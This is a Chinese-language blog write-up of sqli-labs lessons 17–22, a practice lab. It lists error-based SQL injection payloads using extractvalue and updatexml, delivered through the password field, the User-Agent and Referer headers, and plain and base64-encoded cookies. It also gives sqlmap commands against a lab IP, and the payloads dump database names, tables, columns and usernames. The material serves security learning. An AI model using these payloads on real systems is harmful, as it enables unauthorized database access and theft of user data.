当前位置： 首页 > article >正文

sqli-labs（4）

article 2024/11/20 23:31:49

17.

        

观察页面发现是一个用来更改用户密码的页面，页面中出现了用户Dhakkan

user输入Dhakkan passs输入1发现成功找注入点

先在user尝试，发现不管输入什么都失败在pass中尝试注入

在pass中输入1‘

报错注入

1' and extractvalue(1,concat(0x5c,database()))#
1' and updatexml(1,concat(0x7e,database(),0x7e),1)#

1' and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security')))#
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

1' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))#
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#

1' and extractvalue(1,concat(0x5c,(select group_concat(username) from (select username from users)zx)))#
1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users)zx),0x7e),1)#

这里的select group_concat(username) from (select username from users)zx

后面的(select username from users)zx代表将select username from users的结果放在zx这个表中目的是为了能在外部查询中引用他

1' and extractvalue(1,concat(0x5c,(select group_oncat(username) from security.users)))#

因为是update的操作使用

1' and extractvalue(1,concat(0x5c,(select group_oncat(username) from security.users)))#

会报错’

sqlmap 这几个post都一样通过bp获取

18.

使用用户Dhakkan密码1

发现返回ua头对ua头进行注入

我们可以看到因为我们注入的ua在（）里面但是通过）#的方法不能成功所以我们在最后要加上‘所以我们使用and '1' ='1来闭合’

' and extractvalue(1,concat(0x5c,database())) and '1'='1
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

' and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) and '1'='1
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) and '1'='1
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) and '1'='1

' and extractvalue(1,concat(0x5c,(select group_concat(username) from security.users))) and '1'='1
' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1) and '1'='1

报错注入返回的内容有限所以可以用limit分别输出 group_concat在这里不能完成输入所有内容

sqlamp

sqlmap -u "http://192.168.1.200:86/Less-18/" --batch --user-agent="1"  --dbs --data="uname=Dhakkan&passwd=1" --level=3 --risk=3

19.

输入Dhakkan和1

这里出现了referer信息，从referer处注入

' and extractvalue(1,concat(0x5c,database())) and'1'='1
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

' and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) and '1'='1
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) and '1'='1
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) and '1'='1

' and extractvalue(1,concat(0x5c,(select group_concat(username) from security.users))) and '1'='1
' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1) and '1'='1

sqlmap

sqlmap -u "http://192.168.1.200:86/Less-19/" --referer="1" --data="uname=Dhakkan&passwd=1" --batch --dbs --level=3 --risk=3

20.

这里显示cookie要有uname参数

' and extractvalue(1,concat(0x5c,database())) and '1'='1
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

' and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security')))and '1'='1
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)and '1'='1

' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))and '1'='1
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) and '1'='1

' and extractvalue(1,concat(0x5c,(select group_concat(username) from security.users))) and '1'='1
' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1) and '1'='1

21.

我们发现还是显示cookie不是通过了base64加密

Dhakkan' and extractvalue(1,concat(0x5c,database())) and '1'='1
RGhha2thbicgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDVjLGRhdGFiYXNlKCkpKSBhbmQgJzEnPScx
Dhakkan'and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
RGhha2thbidhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSwxKSBhbmQgJzEnPScx


Dhakkan'and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) and '1'='1
RGhha2thbidhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSkpIGFuZCAnMSc9JzE=
Dhakkan' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1
RGhha2thbicgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyksMHg3ZSksMSkgYW5kICcxJz0nMQ==



Dhakkan' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) and '1'='1
RGhha2thbicgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDVjLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lPSd1c2VycycpKSkgYW5kICcxJz0nMQ==
Dhakkan' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) and '1'='1
RGhha2thbicgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lPSd1c2VycycpLDB4N2UpLDEpIGFuZCAnMSc9JzE=

Dhakkan'and extractvalue(1,concat(0x5c,(select group_concat(username) from security.users))) and '1'='1
RGhha2thbidhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUpIGZyb20gc2VjdXJpdHkudXNlcnMpKSkgYW5kICcxJz0nMQ==
Dhakkan' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1) and '1'='1
RGhha2thbicgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSBmcm9tIHNlY3VyaXR5LnVzZXJzKSwweDdlKSwxKSBhbmQgJzEnPScx

22.

这里的单引号换成双引号

Dhakkan" and extractvalue(1,concat(0x5c,database())) and "1"="1
RGhha2thbiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDVjLGRhdGFiYXNlKCkpKSBhbmQgIjEiPSIx
Dhakkan" and updatexml(1,concat(0x7e,database(),0x7e),1)and "1"="1
RGhha2thbiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSksMSlhbmQgIjEiPSIx

Dhakkan"and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) and "1"="1
RGhha2thbiJhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSkpIGFuZCAiMSI9IjE=
Dhakkan"and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and "1"="1
RGhha2thbiJhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSwweDdlKSwxKSBhbmQgIjEiPSIx

Dhakkan"and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))) and "1"="1
RGhha2thbiJhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPSJzZWN1cml0eSIgYW5kIHRhYmxlX25hbWU9InVzZXJzIikpKSBhbmQgIjEiPSIx
Dhakkan"and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) and "1"="1
RGhha2thbiJhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScgYW5kIHRhYmxlX25hbWU9J3VzZXJzJyksMHg3ZSksMSkgYW5kICIxIj0iMQ==

Dhakkan" and extractvalue(1,concat(0x5c,(select group_concat(username) from security.users))) and "1"="1
RGhha2thbiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDVjLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSBmcm9tIHNlY3VyaXR5LnVzZXJzKSkpIGFuZCAiMSI9IjE=
Dhakkan" and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1) and "1"="1
RGhha2thbiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSBmcm9tIHNlY3VyaXR5LnVzZXJzKSwweDdlKSwxKSBhbmQgIjEiPSIx


http://www.kler.cn/a/146685.html

相关文章：

  • 高级java每日一道面试题-2024年11月07日-Redis篇-Redis有哪些功能?
  • 2024年11月19日Github流行趋势
  • 运维面试题.云计算面试题之三ELK
  • JVM垃圾回收详解（重点）
  • 【c++丨STL】list模拟实现（附源码）
  • 机器学习day5-随机森林和线性代数1最小二乘法
  • 【Docker】从零开始：12.容器数据卷
  • 入侵redis之准备---VMware上面安装部署centos7镜像系统【详细含云盘镜像】
  • Pinctrl子系统和GPIO子系统实验
  • ESP32 ESP-IDF5.1 在Visual Studio Code中自定义分区表与调整Flash大小
  • 第二证券：煤炭板块震荡走高 潞安环能、晋控煤业涨超5%
  • Flask Paginate实现表格分页
  • 计算机基础知识详细讲解
  • Selenium中常用的JS操作总结
  • 详解Java中的泛型（泛型的语法，擦除机制，泛型的上界）
  • 【中间件】消息队列中间件intro
  • OpenCV快速入门：图像分析——图像分割和图像修复
  • 【古诗生成AI实战】之三——任务加载器与预处理器
  • 《opencv实用探索·二》根据RGB的像素排列来理解图像深度、像素深度和位深度
  • Python与设计模式--建造者模式
  • 【M365运维】修复Bitlocker在AAD里没有密钥的故障
  • 基于C++实现水仙花数
  • STM32 F1 串口空闲中断 + DMA实现数据发送
  • 数据结构 / 结构体位域
  • 以太网通讯协议小结--持续更新中
  • Shell 脚本自动化备份与恢复实践